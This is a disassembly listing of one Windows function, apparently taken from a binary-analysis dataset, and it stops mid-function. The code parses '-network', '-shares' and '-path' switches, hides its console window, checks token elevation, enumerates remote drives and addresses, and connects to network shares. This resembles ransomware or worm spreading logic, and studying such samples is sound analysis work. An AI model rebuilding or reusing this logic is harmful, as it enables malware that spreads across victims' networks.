Function at 0x14001bae0
Capabilities:
Connect network resource
Encode data using base64

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x740
mov rsi, rdx
mov r14d, ecx
xor r15d, r15d
mov rdx, qword [rdx]
lea rcx, [rsp + 0x578]
call fcn.140001f30
mov rdx, rax
lea rcx, [rsp + 0x598]
call fcn.140021ba0
mov rdx, rax
lea rcx, [0x140063d48]
call fcn.1400065e0
lea rcx, [rsp + 0x598]
call fcn.140006570
mov byte [rsp + 0x780], r15b
mov byte [rsp + 0x788], r15b
lea rcx, [rsp + 0x1e0]
call fcn.140001f10
nop
lea rcx, [rsp + 0x200]
call fcn.140001f10
nop
lea rcx, [rsp + 0xf0]
call fcn.140001f10
nop
mov byte [rsp + 0x790], r15b
lea rcx, [rsp + 0x330]
call fcn.140001f10
nop
mov edi, r15d
lea r12, str._network
xorps xmm0, xmm0
cmp edi, r14d
jge 0x14001bf4a
movsxd rax, edi
mov rdx, qword [rsi + rax*8]
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], r15
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x14001bbc0
lea rcx, [rsp + 0x58]
call fcn.140001f70
nop
lea r8, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jne 0x14001bc21
mov rcx, r12
test rdx, rdx
je 0x14001bc14
sub r8, r12
nop dword [rax]
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x14001bc21
add rcx, 2
sub rdx, 1
jne 0x14001bc00
mov byte [rsp + 0x780], 1
jmp 0x14001bf01
lea rdx, str._shares
lea rcx, [rsp + 0x58]
call fcn.140006380
test al, al
jne 0x14001bd35
lea rdx, [0x140058818]
lea rcx, [rsp + 0x58]
call fcn.140006380
test al, al
jne 0x14001bd35
lea rdx, str._path
lea rcx, [rsp + 0x58]
call fcn.140006380
test al, al
jne 0x14001bc81
lea rdx, [0x140058830]
lea rcx, [rsp + 0x58]
call fcn.140006380
test al, al
je 0x14001bf01
mov edx, 0x3d
lea rcx, [rsp + 0x58]
call fcn.14001ea90
cmp rax, 0xffffffffffffffff
je 0x14001bf01
lea r8, [rax + 1]
mov r9, 0xffffffffffffffff
lea rdx, [rsp + 0x5b8]
lea rcx, [rsp + 0x58]
call fcn.1400063f0
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.1400065e0
lea rcx, [rsp + 0x5b8]
call fcn.140006570
lea rcx, [rsp + 0x58]
call fcn.14001ea10
test al, al
je 0x14001bd16
mov r9, qword [rsp + 0x68]
dec r9
xor r8d, r8d
lea rdx, [rsp + 0x5d8]
lea rcx, [rsp + 0x58]
call fcn.1400063f0
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.1400065e0
lea rcx, [rsp + 0x5d8]
call fcn.140006570
mov byte [rsp + 0x790], 1
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x330]
call fcn.1400064f0
jmp 0x14001bf01
mov edx, 0x3d
lea rcx, [rsp + 0x58]
call fcn.14001ea90
cmp rax, 0xffffffffffffffff
je 0x14001bf01
lea r8, [rax + 1]
mov r9, 0xffffffffffffffff
lea rdx, [rsp + 0x718]
lea rcx, [rsp + 0x58]
call fcn.1400063f0
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.1400065e0
lea rcx, [rsp + 0x718]
call fcn.140006570
lea rcx, [rsp + 0x58]
call fcn.14001ea10
test al, al
je 0x14001bdca
mov r9, qword [rsp + 0x68]
dec r9
xor r8d, r8d
lea rdx, [rsp + 0x608]
lea rcx, [rsp + 0x58]
call fcn.1400063f0
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.1400065e0
lea rcx, [rsp + 0x608]
call fcn.140006570
mov edx, 0x2d
lea rcx, [rsp + 0x58]
call fcn.14001ea90
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001bee6
mov r9, rax
xor r8d, r8d
lea rdx, [rsp + 0x628]
lea rcx, [rsp + 0x58]
call fcn.1400063f0
mov rdx, rax
lea rcx, [rsp + 0x200]
call fcn.1400065e0
lea rcx, [rsp + 0x628]
call fcn.140006570
lea r8, [rbx + 1]
mov r9, 0xffffffffffffffff
lea rdx, [rsp + 0x648]
lea rcx, [rsp + 0x58]
call fcn.1400063f0
mov rdx, rax
lea rcx, [rsp + 0xf0]
call fcn.1400065e0
lea rcx, [rsp + 0x648]
call fcn.140006570
mov edx, 0x2e
lea rcx, [rsp + 0xf0]
call fcn.14001ea90
cmp rax, 0xffffffffffffffff
jne 0x14001bf01
lea rcx, [rsp + 0x200]
call fcn.14001ea40
cmp rax, 0xffffffffffffffff
je 0x14001bf01
lea r9, [rax + 1]
xor r8d, r8d
lea rdx, [rsp + 0x688]
lea rcx, [rsp + 0x200]
call fcn.1400063f0
nop
lea r8, [rsp + 0xf0]
mov rdx, rax
lea rcx, [rsp + 0x668]
call fcn.14001efc0
mov rdx, rax
lea rcx, [rsp + 0xf0]
call fcn.1400065e0
lea rcx, [rsp + 0x668]
call fcn.140006570
nop
lea rcx, [rsp + 0x688]
call fcn.140006570
jmp 0x14001bf01
mov byte [rsp + 0x788], 1
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x1e0]
call fcn.1400064f0
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x14001bf43
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001bf3e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001dcc2
call fcn.1400256e4
inc edi
jmp 0x14001bb92
movups xmmword [rsp + 0x1b8], xmm0
mov ecx, 0x20
call fcn.1400256ec
mov dword [rax], 1
mov dword [rax + 4], 2
xor ecx, ecx
mov qword [rax + 8], rcx
xor r14d, r14d
mov qword [rax + 0x10], r14
mov dword [rax + 0x18], r14d
mov qword [rsp + 0x1c8], rax
lea ecx, [r14 + 8]
call fcn.1400256ec
lea rcx, [0x14001a8c0]
mov qword [rax], rcx
mov qword [rsp + 0x378], rax
lea rcx, [rsp + 0x1c0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x140021020]
xor edx, edx
xor ecx, ecx
call fcn.140037d24
mov qword [rsp + 0x1b8], rax
test rax, rax
je 0x14001dea0
cmp dword [rsp + 0x1c0], r14d
je 0x14001dcc8
movups xmm0, xmmword [rsp + 0x1b8]
movaps xmmword [rsp + 0x410], xmm0
lea rcx, [rsp + 0x410]
call fcn.1400249dc
test eax, eax
jne 0x14001dcd1
xorps xmm0, xmm0
movups xmmword [rsp + 0x538], xmm0
movups xmmword [rsp + 0x1b8], xmm0
mov rcx, qword [rsp + 0x1c8]
test rcx, rcx
je 0x14001c04e
mov eax, 0xfffffffe
lock xadd dword [rcx + 4], eax
and eax, 0xfffffffe
cmp eax, 2
jne 0x14001c04e
mov eax, 0xffffffff
lock xadd dword [rcx], eax
cmp eax, 1
jne 0x14001c04e
lea edx, [rax + 0x1f]
call fcn.1400256e4
cmp dword [rsp + 0x1c0], 0
jne 0x14001dcdc
call fcn.140005470
test al, al
je 0x14001db0e
cmp byte [0x14006afb1], 0
je 0x14001c083
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.140018000
lea rdx, [0x1400182b0]
lea rcx, [rsp + 0x498]
call fcn.14001f1e0
nop
mov rcx, rax
call fcn.140016400
nop
lea rcx, [rsp + 0x498]
call fcn.140016340
cmp qword [0x140063e28], 0
je 0x14001c133
mov ecx, 0x20
call fcn.1400256ec
mov rcx, rax
call fcn.140001f10
mov rbx, rax
lea r8, [0x140058400]
lea rdx, [0x140063e18]
lea rcx, [rsp + 0x6c8]
call fcn.14001f030
nop
lea r8, [0x140063c90]
mov rdx, rax
lea rcx, [rsp + 0x6a8]
call fcn.14001efc0
mov rdx, rax
mov rcx, rbx
call fcn.1400065e0
lea rcx, [rsp + 0x6a8]
call fcn.140006570
nop
lea rcx, [rsp + 0x6c8]
call fcn.140006570
mov rcx, rbx
call fcn.140018340
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
movzx edi, byte [rsp + 0x780]
test dil, dil
jne 0x14001c1a2
cmp byte [0x14006afa8], dil
je 0x14001c187
lea rdx, [0x14001baa0]
lea rcx, [rsp + 0x4b0]
call fcn.14001f1e0
nop
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.14001ded0
nop
lea rcx, [rsp + 0x4b0]
call fcn.140016340
cmp byte [rsp + 0x788], 0
jne 0x14001c19d
lea rcx, [0x140063e38]
call fcn.14001a550
call fcn.140015ef0
mov dword [0x140063c88], 1
mov eax, 1
lea rsi, [0x14006afe0]
lea r15, [0x14001a170]
movabs r12, 0x7fffffffffffffff
mov r13, qword [rsp + 0x48]
movabs rbx, 0x8000000000000000
cmp eax, 3
jge 0x14001d7ba
cmp byte [0x14006af90], 0
je 0x14001c2ed
mov qword [rsp + 0x380], rsi
mov rcx, rsi
call fcn.14002543c
test eax, eax
jne 0x14001dce2
cmp dword [0x14006b02c], 0x7fffffff
je 0x14001dcec
mov ecx, 0xe8
call fcn.1400256ec
mov rdi, rax
mov qword [rsp + 0x388], rax
mov qword [rax], r14
mov qword [rax + 8], r14
mov qword [rax + 0x10], r14
lea rbx, [rax + 0x18]
mov qword [rsp + 0x250], rbx
mov qword [rbx], r14
mov qword [rbx + 8], r14
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], r14
mov qword [rbx + 0x20], r14
mov ecx, 0x10
call fcn.1400256ec
mov qword [rax + 8], r14
mov qword [rbx], rax
mov qword [rax], rbx
lea rcx, [rdi + 0x40]
mov dword [rcx], r14d
mov qword [rcx + 8], r14
mov qword [rcx + 0x10], r14
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
movups xmmword [rcx + 0x28], xmm0
movups xmmword [rcx + 0x38], xmm0
mov qword [rcx + 0x48], 0
mov edx, 2
call fcn.140025428
lea rcx, [rdi + 0x90]
call fcn.140023e00
xor eax, eax
mov qword [rdi + 0xd8], rax
mov byte [rdi + 0xe0], al
mov qword [0x14006afc0], rdi
mov edx, dword [0x14006afa0]
test edx, edx
jne 0x14001c2cd
call fcn.1400249f8
lea edx, [rax + rax]
call fcn.140016440
nop
mov rcx, rsi
call fcn.140025444
movabs rbx, 0x8000000000000000
movzx edi, byte [rsp + 0x780]
cmp byte [rsp + 0x788], 0
jne 0x14001c829
test dil, dil
jne 0x14001c5fa
cmp byte [rsp + 0x790], dil
jne 0x14001c5bf
lea rcx, [rsp + 0x2b8]
call fcn.140021ff0
nop
mov rdi, qword [rsp + 0x2b8]
mov rsi, qword [rsp + 0x2c0]
cmp rdi, rsi
je 0x14001c4f9
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov ecx, 0x20
call fcn.1400256ec
mov dword [rax], 1
mov dword [rax + 4], 2
xor ecx, ecx
mov qword [rax + 8], rcx
mov qword [rax + 0x10], r14
mov dword [rax + 0x18], r14d
mov qword [rsp + 0x88], rax
mov ecx, 0x28
call fcn.1400256ec
mov rbx, rax
mov qword [rsp + 0x390], rax
mov rdx, rdi
mov rcx, rax
call fcn.1400021c0
mov qword [rbx + 0x20], r15
mov qword [rsp + 0x398], rbx
lea rax, [rsp + 0x80]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r14d
mov r9, rbx
lea r8, [0x140021050]
xor edx, edx
xor ecx, ecx
call fcn.140037d24
mov qword [rsp + 0x78], rax
test rax, rax
je 0x14001dd26
cmp r13, qword [rsp + 0x50]
je 0x14001c415
xorps xmm0, xmm0
movups xmmword [rsp + 0x4c8], xmm0
movups xmm1, xmmword [rsp + 0x78]
movups xmmword [rsp + 0x708], xmm1
movups xmmword [rsp + 0x78], xmm0
movups xmmword [r13], xmm1
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x88], r14
mov qword [r13 + 0x10], rax
add r13, 0x18
mov qword [rsp + 0x48], r13
jmp 0x14001c42c
lea r8, [rsp + 0x78]
mov rdx, r13
lea rcx, [rsp + 0x40]
call fcn.140020190
mov r13, qword [rsp + 0x48]
mov eax, dword [rsp + 0x80]
test eax, eax
je 0x14001c4a7
mov rcx, qword [rsp + 0x88]
test rcx, rcx
je 0x14001c450
call fcn.140016190
mov eax, dword [rsp + 0x80]
test eax, eax
je 0x14001dd01
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rsp + 0x80], eax
je 0x14001dd0a
movups xmm0, xmmword [rsp + 0x78]
movaps xmmword [rsp + 0x400], xmm0
xor edx, edx
lea rcx, [rsp + 0x400]
call fcn.140024a18
test eax, eax
jne 0x14001dd15
xorps xmm0, xmm0
movups xmmword [rsp + 0x5f8], xmm0
movups xmmword [rsp + 0x78], xmm0
psrldq xmm0, 8
movd eax, xmm0
mov rcx, qword [rsp + 0x88]
test rcx, rcx
je 0x14001c4e8
mov eax, 0xfffffffe
lock xadd dword [rcx + 4], eax
and eax, 0xfffffffe
cmp eax, 2
jne 0x14001c4dc
mov eax, 0xffffffff
lock xadd dword [rcx], eax
cmp eax, 1
jne 0x14001c4dc
lea edx, [rax + 0x1f]
call fcn.1400256e4
mov eax, dword [rsp + 0x80]
mov r13, qword [rsp + 0x48]
test eax, eax
jne 0x14001dd20
add rdi, 0x20
jmp 0x14001c330
lea rcx, [rsp + 0x2b8]
call fcn.1400062c0
mov ebx, r14d
mov qword [rsp + 0x1b0], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x1b0]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14001c573
mov dword [rsp + 0x798], 4
lea rax, [rsp + 0x798]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x190]
lea edx, [r9 + 0x10]
mov rcx, qword [rsp + 0x1b0]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne ebx, dword [rsp + 0x190]
mov rcx, qword [rsp + 0x1b0]
test rcx, rcx
je 0x14001c586
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x14001c5fa
cmp dword [0x140063c88], 1
jne 0x14001d4ff
lea r8, str.__network
lea rdx, [0x140063d48]
lea rcx, [rsp + 0x6e8]
call fcn.14001f030
mov rcx, rax
call fcn.140023210
jmp 0x14001d4ff
lea r8, [rsp + 0x330]
lea rcx, [rsp + 0x480]
call fcn.14001f280
nop
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.14001ded0
nop
lea rcx, [rsp + 0x480]
call fcn.140016340
mov r13, qword [rsp + 0x48]
jmp 0x14001d510
lea rcx, [rsp + 0x2d0]
call fcn.140022200
nop
mov rdi, qword [rsp + 0x2d0]
mov rsi, qword [rsp + 0x2d8]
nop dword [rax + rax]
cmp rdi, rsi
je 0x14001c817
mov rdx, rdi
cmp qword [rdi + 0x18], 7
jbe 0x14001c636
mov rdx, qword [rdi]
lea rcx, str.___Found_remote_drive:__s_n
call fcn.140001dd0
xorps xmm0, xmm0
movups xmmword [rsp + 0xc0], xmm0
mov ecx, 0x20
call fcn.1400256ec
mov dword [rax], 1
mov dword [rax + 4], 2
xor ecx, ecx
mov qword [rax + 8], rcx
mov qword [rax + 0x10], r14
mov dword [rax + 0x18], r14d
mov qword [rsp + 0xd0], rax
mov ecx, 0x28
call fcn.1400256ec
mov rbx, rax
mov qword [rsp + 0x3a0], rax
mov rdx, rdi
mov rcx, rax
call fcn.1400021c0
mov qword [rbx + 0x20], r15
mov qword [rsp + 0x3a8], rbx
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r14d
mov r9, rbx
lea r8, [0x140021050]
xor edx, edx
xor ecx, ecx
call fcn.140037d24
mov qword [rsp + 0xc0], rax
test rax, rax
je 0x14001dd5e
cmp r13, qword [rsp + 0x50]
je 0x14001c72a
xorps xmm0, xmm0
movups xmmword [rsp + 0x548], xmm0
movups xmm1, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x568], xmm1
movups xmmword [rsp + 0xc0], xmm0
movups xmmword [r13], xmm1
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0xd0], r14
mov qword [r13 + 0x10], rax
add r13, 0x18
mov qword [rsp + 0x48], r13
jmp 0x14001c744
lea r8, [rsp + 0xc0]
mov rdx, r13
lea rcx, [rsp + 0x40]
call fcn.140020190
mov r13, qword [rsp + 0x48]
mov eax, dword [rsp + 0xc8]
test eax, eax
je 0x14001c7c5
mov rcx, qword [rsp + 0xd0]
test rcx, rcx
je 0x14001c768
call fcn.140016190
mov eax, dword [rsp + 0xc8]
test eax, eax
je 0x14001dd39
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rsp + 0xc8], eax
je 0x14001dd42
movups xmm0, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x3f0], xmm0
xor edx, edx
lea rcx, [rsp + 0x3f0]
call fcn.140024a18
test eax, eax
jne 0x14001dd4d
xorps xmm0, xmm0
movups xmmword [rsp + 0x558], xmm0
movups xmmword [rsp + 0xc0], xmm0
psrldq xmm0, 8
movd eax, xmm0
mov rcx, qword [rsp + 0xd0]
test rcx, rcx
je 0x14001c806
mov eax, 0xfffffffe
lock xadd dword [rcx + 4], eax
and eax, 0xfffffffe
cmp eax, 2
jne 0x14001c7fa
mov eax, 0xffffffff
lock xadd dword [rcx], eax
cmp eax, 1
jne 0x14001c7fa
lea edx, [rax + 0x1f]
call fcn.1400256e4
mov eax, dword [rsp + 0xc8]
mov r13, qword [rsp + 0x48]
test eax, eax
jne 0x14001dd58
add rdi, 0x20
jmp 0x14001c620
lea rcx, [rsp + 0x2d0]
call fcn.1400062c0
jmp 0x14001d4ff
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xd8], xmm0
mov qword [rsp + 0xe8], r14
mov r9, qword [rsp + 0x1f0]
test r9, r9
je 0x14001cb96
lea r8, [rsp + 0x1e0]
cmp qword [rsp + 0x1f8], 7
cmova r8, qword [rsp + 0x1e0]
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd r14, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
xor r15d, r15d
mov qword [rsp + 0x140], r15
mov qword [rsp + 0x148], r15
cmp r14, r12
ja 0x14001dd71
cmp r14, 0xf
ja 0x14001c8ec
mov qword [rsp + 0x140], r14
mov qword [rsp + 0x148], 0xf
mov r8, r14
xor edx, edx
lea rcx, [rsp + 0x130]
call fcn.140047b00
mov byte [rsp + r14 + 0x130], r15b
jmp 0x14001c982
mov rdi, r14
or rdi, 0xf
cmp rdi, r12
jbe 0x14001c91e
mov rdi, r12
lea rax, [rbx + 0x27]
mov rcx, rax
call fcn.1400256ec
test rax, rax
je 0x14001dd7b
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14001c959
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14001c947
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001dd76
jmp 0x14001c8ff
test rcx, rcx
je 0x14001c956
call fcn.1400256ec
mov rbx, rax
jmp 0x14001c959
mov rbx, r15
mov qword [rsp + 0x130], rbx
mov qword [rsp + 0x140], r14
mov qword [rsp + 0x148], rdi
mov r8, r14
xor edx, edx
mov rcx, rbx
call fcn.140047b00
mov byte [rbx + r14], r15b
lea rax, [rsp + 0x130]
cmp qword [rsp + 0x148], 0xf
cmova rax, qword [rsp + 0x130]
lea r8, [rsp + 0x1e0]
cmp qword [rsp + 0x1f8], 7
cmova r8, qword [rsp + 0x1e0]
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x1f0]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movups xmm0, xmmword [rsp + 0x130]
movups xmmword [rsp + 0x420], xmm0
movups xmm1, xmmword [rsp + 0x140]
movups xmmword [rsp + 0x430], xmm1
xor r14d, r14d
mov qword [rsp + 0x140], r14
mov qword [rsp + 0x148], 0xf
mov byte [rsp + 0x130], r14b
lea rdx, [rsp + 0x420]
lea rcx, [rsp + 0x350]
call fcn.140001790
nop
lea rcx, [rsp + 0x420]
call fcn.140001bc0
cmp word [rsp + 0x368], 0x20
jne 0x14001cb31
mov eax, dword [rsp + 0x35c]
mov dword [rsp + 0x194], eax
lea rdx, [rsp + 0x194]
lea rcx, [rsp + 0xd8]
call fcn.14001df10
mov r12, qword [rsp + 0xe0]
mov rsi, qword [rsp + 0xd8]
lea r15, [0x14001a170]
nop word [rax + rax]
cmp rsi, r12
je 0x14001d4aa
mov eax, dword [rsi]
mov dword [rsp + 0x1a8], eax
lea rdx, [rsp + 0x278]
lea rcx, [rsp + 0x1a8]
call fcn.140015bc0
nop
mov rdx, rax
lea rcx, [rsp + 0x298]
call fcn.140022630
nop
mov r8, rax
lea rdx, [0x140058888]
lea rcx, [rsp + 0x110]
call fcn.14001f0a0
nop
mov rdx, qword [rsp + 0x2b0]
cmp rdx, 7
jbe 0x14001cef2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x298]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001ceed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001dd81
jmp 0x14001ceed
mov ebx, dword [rsp + 0x35c]
mov r12, qword [rsp + 0xe0]
cmp ebx, dword [rsp + 0x360]
ja 0x14001ca7b
mov dword [rsp + 0x198], ebx
cmp r12, qword [rsp + 0xe8]
je 0x14001cb72
mov dword [r12], ebx
add r12, 4
mov qword [rsp + 0xe0], r12
inc ebx
jmp 0x14001cb40
lea r8, [rsp + 0x198]
mov rdx, r12
lea rcx, [rsp + 0xd8]
call fcn.1400203c0
mov r12, qword [rsp + 0xe0]
inc ebx
jmp 0x14001cb40
lea rdx, [rsp + 0x200]
lea rcx, [rsp + 0x440]
call fcn.140022430
nop
mov rdx, rax
lea rcx, [rsp + 0x19c]
call fcn.1400158e0
mov r15d, dword [rsp + 0x19c]
mov rdx, qword [rsp + 0x458]
cmp rdx, 0xf
jbe 0x14001cc07
inc rdx
mov rcx, qword [rsp + 0x440]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cc02
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001dd87
call fcn.1400256e4
mov r12, qword [rsp + 0xe0]
nop
cmp qword [rsp + 0x100], 0
jne 0x14001cc47
xorps xmm0, xmm0
movups xmmword [rsp + 0x220], xmm0
mov qword [rsp + 0x230], r14
mov qword [rsp + 0x238], 0xf
mov byte [rsp + 0x220], 0
jmp 0x14001ce30
lea r8, [rsp + 0xf0]
cmp qword [rsp + 0x108], 7
cmova r8, qword [rsp + 0xf0]
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov r9d, dword [rsp + 0x100]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd r14, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x170], xmm0
xor ebx, ebx
mov qword [rsp + 0x180], rbx
mov qword [rsp + 0x188], rbx
movabs rax, 0x7fffffffffffffff
cmp r14, rax
ja 0x14001dd8d
cmp r14, 0xf
ja 0x14001ccf6
mov qword [rsp + 0x180], r14
mov qword [rsp + 0x188], 0xf
mov r8, r14
xor edx, edx
lea rcx, [rsp + 0x170]
call fcn.140047b00
mov byte [rsp + r14 + 0x170], bl
jmp 0x14001cd94
mov rdi, r14
or rdi, 0xf
cmp rdi, rax
jbe 0x14001cd32
mov rdi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400256ec
test rax, rax
je 0x14001dd97
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14001cd68
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14001cd5b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001dd92
jmp 0x14001cd13
test rcx, rcx
je 0x14001cd68
call fcn.1400256ec
mov rbx, rax
mov qword [rsp + 0x170], rbx
mov qword [rsp + 0x180], r14
mov qword [rsp + 0x188], rdi
mov r8, r14
xor edx, edx
mov rcx, rbx
call fcn.140047b00
mov byte [rbx + r14], 0
xor ebx, ebx
lea rax, [rsp + 0x170]
cmp qword [rsp + 0x188], 0xf
cmova rax, qword [rsp + 0x170]
lea r8, [rsp + 0xf0]
cmp qword [rsp + 0x108], 7
cmova r8, qword [rsp + 0xf0]
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x100]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movups xmm0, xmmword [rsp + 0x170]
movups xmmword [rsp + 0x220], xmm0
movups xmm1, xmmword [rsp + 0x180]
movups xmmword [rsp + 0x230], xmm1
xor r14d, r14d
mov qword [rsp + 0x180], r14
mov qword [rsp + 0x188], 0xf
mov byte [rsp + 0x170], r14b
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0x1a0]
call fcn.1400158e0
cmp r15d, dword [rsp + 0x1a0]
setbe bl
mov rdx, qword [rsp + 0x238]
cmp rdx, 0xf
jbe 0x14001ce93
inc rdx
mov rcx, qword [rsp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001ce8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001dd9d
call fcn.1400256e4
test bl, bl
je 0x14001ca7b
mov dword [rsp + 0x1a4], r15d
cmp r12, qword [rsp + 0xe8]
je 0x14001cec5
mov dword [r12], r15d
add r12, 4
mov qword [rsp + 0xe0], r12
inc r15d
jmp 0x14001cc10
lea r8, [rsp + 0x1a4]
mov rdx, r12
lea rcx, [rsp + 0xd8]
call fcn.1400203c0
mov r12, qword [rsp + 0xe0]
inc r15d
jmp 0x14001cc10
call fcn.1400256e4
mov qword [rsp + 0x2a8], r14
mov qword [rsp + 0x2b0], 7
mov word [rsp + 0x298], r14w
mov rdx, qword [rsp + 0x290]
cmp rdx, 0xf
jbe 0x14001cf52
inc rdx
mov rcx, qword [rsp + 0x278]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001cf4d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001dda3
call fcn.1400256e4
mov qword [rsp + 0x288], r14
mov qword [rsp + 0x290], 0xf
mov byte [rsp + 0x278], 0
lea rdx, [rsp + 0x110]
cmp qword [rsp + 0x128], 7
cmova rdx, qword [rsp + 0x110]
lea rcx, str.____Try_add_connection:__s_n
call fcn.140001dd0
mov qword [rsp + 0x300], 0
mov qword [rsp + 0x308], r14
mov qword [rsp + 0x320], r14
mov qword [rsp + 0x310], r14
lea rax, [rsp + 0x110]
cmp qword [rsp + 0x128], 7
cmova rax, qword [rsp + 0x110]
mov qword [rsp + 0x318], rax
mov qword [rsp + 0x328], r14
mov r9d, 4
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x300]
call qword [sym.imp.MPR.dll_WNetAddConnection2W]
lea rdx, [rsp + 0x110]
test eax, eax
jne 0x14001d437
cmp qword [rsp + 0x128], 7
cmova rdx, qword [rsp + 0x110]
lea rcx, str.___Found_share:__s_n
call fcn.140001dd0
movabs rbx, 0x7ffffffffffffffe
mov rax, rbx
mov rcx, qword [rsp + 0x120]
sub rax, rcx
cmp rax, 1
jb 0x14001dda9
lea r9, [rsp + 0x110]
cmp qword [rsp + 0x128], 7
cmova r9, qword [rsp + 0x110]
mov qword [rsp + 0x30], 1
lea rax, [0x140058400]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x258]
call fcn.140008a80
nop
mov edi, r14d
cmp edi, 0x1a
jae 0x14001d3ed
xorps xmm0, xmm0
movups xmmword [rsp + 0x150], xmm0
mov qword [rsp + 0x160], r14
mov qword [rsp + 0x168], r14
mov r8d, 2
lea rdx, [0x1400588f4]
lea rcx, [rsp + 0x150]
call fcn.140001f70
nop
lea rax, [rsp + 0x150]
cmp qword [rsp + 0x168], 7
cmova rax, qword [rsp + 0x150]
add word [rax], di
mov rax, rbx
mov rcx, qword [rsp + 0x268]
sub rax, rcx
mov rdx, qword [rsp + 0x160]
cmp rax, rdx
jb 0x14001ddaf
lea r9, [rsp + 0x258]
cmp qword [rsp + 0x270], 7
cmova r9, qword [rsp + 0x258]
lea rax, [rsp + 0x150]
